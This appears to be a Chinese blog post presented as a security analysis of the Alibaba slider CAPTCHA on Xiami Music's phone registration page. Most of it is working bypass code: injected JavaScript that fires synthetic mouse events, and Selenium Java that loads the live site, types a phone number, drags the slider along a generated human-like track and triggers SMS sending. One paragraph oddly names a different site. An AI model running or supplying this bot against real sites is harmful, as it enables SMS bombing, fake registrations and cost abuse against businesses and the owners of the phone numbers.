前言
由于网站注册入口容易被黑客攻击,存在如下安全问题:
- 暴力破解密码,造成用户信息泄露
- 短信盗刷的安全问题,影响业务及导致用户投诉
- 带来经济损失,尤其是后付费客户,风险巨大,造成亏损无底洞
所以大部分网站及App 都采取图形验证码或滑动验证码等交互解决方案, 但在机器学习能力提高的当下,连百度这样的大厂都遭受攻击导致点名批评, 图形验证及交互验证方式的安全性到底如何? 请看具体分析
一、 虾米音乐 PC 注册入口
简介:音螺CONCH MUSIC, 音螺是基于虾米音乐的版权曲库能力,实现音乐内容管理、分发的专业平台。现已与数十家商业平台实现音乐内容分发合作。不仅可以使音乐作品一次性获得更大曝光,还能根据用量进行合理结算。我们致力于帮助音乐人和厂牌拓展更多音乐使用渠道、让好音乐获得更多收益,实现千万种可能!
二、 安全性分析报告:
东奥会计采用的是阿里的滑动条,
阿里的滑动条设计高度重视用户体验,但安全方面存在一定的设计缺陷,前端将密钥显示出来,造成一定程度的安全漏洞,上报后并未引起重视,漏洞依据存在。
三、 测试方法:
前端界面分析,这是阿里的滑动条,网上有一些的教学视频,但形式都差不多,
阿里的滑动条有点像程咬金的三板斧,
1 检测是否是 webdriver (有专门的文章怎么过检)
2 滑动条检测
滑动条在页面嵌JS 就能过去
<script>
(function () {
'use strict';
/**
* 休眠
* [url=home.php?mod=space&uid=952169]@Param[/url] time 休眠时间,单位秒
* @param desc
* @returns {Promise<unknown>}
*/
function sleep(time, desc) {
return new Promise(resolve => {
//sleep
setTimeout(() => {
console.log(desc, time, 's')
resolve(time)
}, Math.floor(time * 1000))
})
}
/**
* 监测节点是否存在
* @param selector CSS选择器
* @param desc
* @returns {Promise<unknown>}
*/
function obsHas(selector, desc) {
return new Promise(resolve => {
//obs node
let timer = setInterval(() => {
let target = document.querySelector(selector)
if (!!target) {
clearInterval(timer)
console.log(desc, selector)
resolve(selector)
} else {
return
}
}, 100)
})
}
function slide(id) {
var slider = document.getElementById(id),
container = slider.parentNode;
var rect = slider.getBoundingClientRect(),
x0 = rect.x || rect.left,
y0 = rect.y || rect.top,
w = container.getBoundingClientRect().width,
x1 = x0 + w,
y1 = y0;
var mousedown = document.createEvent("MouseEvents");
mousedown.initMouseEvent("mousedown", true, true, window, 0,
x0, y0, x0, y0, false, false, false, false, 0, null);
slider.dispatchEvent(mousedown);
var mousemove = document.createEvent("MouseEvents");
mousemove.initMouseEvent("mousemove", true, true, window, 0,
x1, y1, x1, y1, false, false, false, false, 0, null);
slider.dispatchEvent(mousemove);
}
sleep(1,'sleep')
.then(() => obsHas('.nc_wrapper','has'))
.then(() => slide('nc_1_n1z'))
})();
</script>
1. 模拟器交互
private static String INDEX_URL = "https://www.xiami.com/passport";
@Override
public RetEntity send(WebDriver driver, String areaCode, String phone) {
RetEntity retEntity = new RetEntity();
try {
driver.get(INDEX_URL);
driver.manage().window().maximize(); // 设置浏览器窗口最大化
Thread.sleep(2 * 1000);
// 点击注册
driver.findElement(By.xpath("//div[contains(text(),'登录 / 注册')]")).click();
Thread.sleep(1 * 1000);
// 点击手机验证码
driver.findElement(By.xpath("//span[contains(text(),'手机验证码')]")).click();
// 输入手机号
WebElement phoneElemet = driver.findElement(By.id("mobile"));
phoneElemet.sendKeys(phone);
boolean isRobot = true;
int beginX = 960;
int beginY = 513;
boolean aliRet = true;
if (isRobot) {
ActionMove.RobotMove(beginX, beginY, 280);
Thread.sleep(1000);
} else {
aliRet = AliClient.moveExec(driver, "nc_2_n1z", 280);
}
if (aliRet) {
WebElement sendElement = driver.findElement(By.xpath("//button[contains(text(),'发送验证码')]"));
sendElement.click();
Thread.sleep(1000);
String gtInfo = sendElement.getText();
retEntity.setMsg(gtInfo);
if (gtInfo != null && gtInfo.contains("重新发送")) {
retEntity.setRet(0);
}
}
return retEntity;
} catch (Exception e) {
retEntity.setRet(-1);
retEntity.setMsg(e.toString());
return retEntity;
} finally {
driver.manage().deleteAllCookies();
}
}
2. 模拟鼠标移动
public static boolean moveExec(WebDriver driver, String moveId, int distance) {
try {
// 获取滑动按钮
WebElement moveElemet = ChromeDriverManager.waitElement(driver, By.id(moveId), 100);
Actions actions = new Actions(driver);
actions.moveToElement(moveElemet).perform();
Thread.sleep(500);
List<Integer> trackList = ActionMove.getTrack(distance);
actions.clickAndHold(moveElemet).perform();// 按住鼠标左键不释放
for (Integer moveInt : trackList) {
actions.moveByOffset(moveInt, 0).perform();// 移动
}
actions.release(moveElemet).perform();// 释放鼠标左键
// 滑动结果
By langCntBy = By.className("nc-lang-cnt");
WebElement langCntElemet = ChromeDriverManager.waitElement(driver, langCntBy, 50);
String langCntInfo = (langCntElemet != null) ? langCntElemet.getText() : null;
if (langCntInfo != null && langCntInfo.contains("验证通过")) {
return true;
} else {
System.out.println("AliUtil.moveExec() langCntInfo=" + langCntInfo);
return false;
}
} catch (Exception e) {
System.out.println("AliClient.moveExec() e=" + e.toString());
return false;
}
}
3. 轨迹生成(单轴通过)
/**
* 根据距离获取滑动轨迹
*
* @param distance需要移动的距离
* @return
*/
public static List<Integer> getTrack(int distance) {
List<Integer> track = new ArrayList<Integer>();// 移动轨迹
List<Integer[]> list = getXyTrack(distance);
for (Integer[] m : list) {
track.add(m[0]);
}
return track;
}
/**
* 双轴轨道生成算法,主要实现平滑加速和减速
*
* @param distance
* @return
*/
public static List<Integer[]> getXyTrack(int distance) {
List<Integer[]> track = new ArrayList<Integer[]>();// 移动轨迹
try {
int a = (int) (distance / 3.0) + random.nextInt(10);
int h = 0, current = 0;// 已经移动的距离
BigDecimal midRate = new BigDecimal(0.7 + (random.nextInt(10) / 100.00)).setScale(4, BigDecimal.ROUND_HALF_UP);
BigDecimal mid = new BigDecimal(distance).multiply(midRate).setScale(0, BigDecimal.ROUND_HALF_UP);// 减速阈值
BigDecimal move = null;// 每次循环移动的距离
List<Integer[]> subList = new ArrayList<Integer[]>();// 移动轨迹
boolean plus = true;
Double t = 0.18, v = 0.00, v0;
while (current <= distance) {
h = random.nextInt(2);
if (current > distance / 2) {
h = h * -1;
}
v0 = v;
v = v0 + a * t;
move = new BigDecimal(v0 * t + 1 / 2 * a * t * t).setScale(4, BigDecimal.ROUND_HALF_UP);// 加速
if (move.intValue() < 1)
move = new BigDecimal(1L);
if (plus) {
track.add(new Integer[] { move.intValue(), h });
} else {
subList.add(0, new Integer[] { move.intValue(), h });
}
current += move.intValue();
if (plus && current >= mid.intValue()) {
plus = false;
move = new BigDecimal(0L);
v = 0.00;
}
}
track.addAll(subList);
int bk = current - distance;
if (bk > 0) {
for (int i = 0; i < bk; i++) {
track.add(new Integer[] { -1, h });
}
}
System.out.println("getMoveTrack(" + midRate + ") a=" + a + ",distance=" + distance + " -> mid=" + mid.intValue() + " size=" + track.size());
return track;
} catch (Exception e) {
System.out.print(e.toString());
return null;
}
}
4. 测试返回结果:
四丶结语
虾米音乐作为互联网老牌音频类网站,背靠阿里,但在验证产品方面采用第三方的阿里的滑动条, 阿里的产品由于过度重视用户体验, 简单的滑动条特别,模拟器只需要单轴的模拟轨道就可以通过, 说明阿里对轨迹的校验比较宽松,之前的分析显示,阿里主要是靠模拟器识别,如果这道关过了,就没有其它的防护措施了 。
很多人在短信服务刚开始建设的阶段,可能不会在安全方面考虑太多,理由有很多。
比如:“ 需求这么赶,当然是先实现功能啊 ”,“ 业务量很小啦,系统就这么点人用,不怕的 ” , “ 我们怎么会被盯上呢,不可能的 ”等等。有一些理由虽然有道理,但是该来的总是会来的。前期欠下来的债,总是要还的。越早还,问题就越小,损失就越低。
所以大家在安全方面还是要重视。(血淋淋的栗子!)#安全短信#
谷歌图形验证码在AI 面前已经形同虚设,所以谷歌宣布退出验证码服务, 那么当所有的图形验证码都被破解时,大家又该如何做好防御呢?
>>相关阅读
《腾讯防水墙滑动拼图验证码》
《百度旋转图片验证码》
《网易易盾滑动拼图验证码》
《顶象区域面积点选验证码》
《顶象滑动拼图验证码》
《极验滑动拼图验证码》
《使用深度学习来破解 captcha 验证码》
《验证码终结者-基于CNN+BLSTM+CTC的训练部署套件》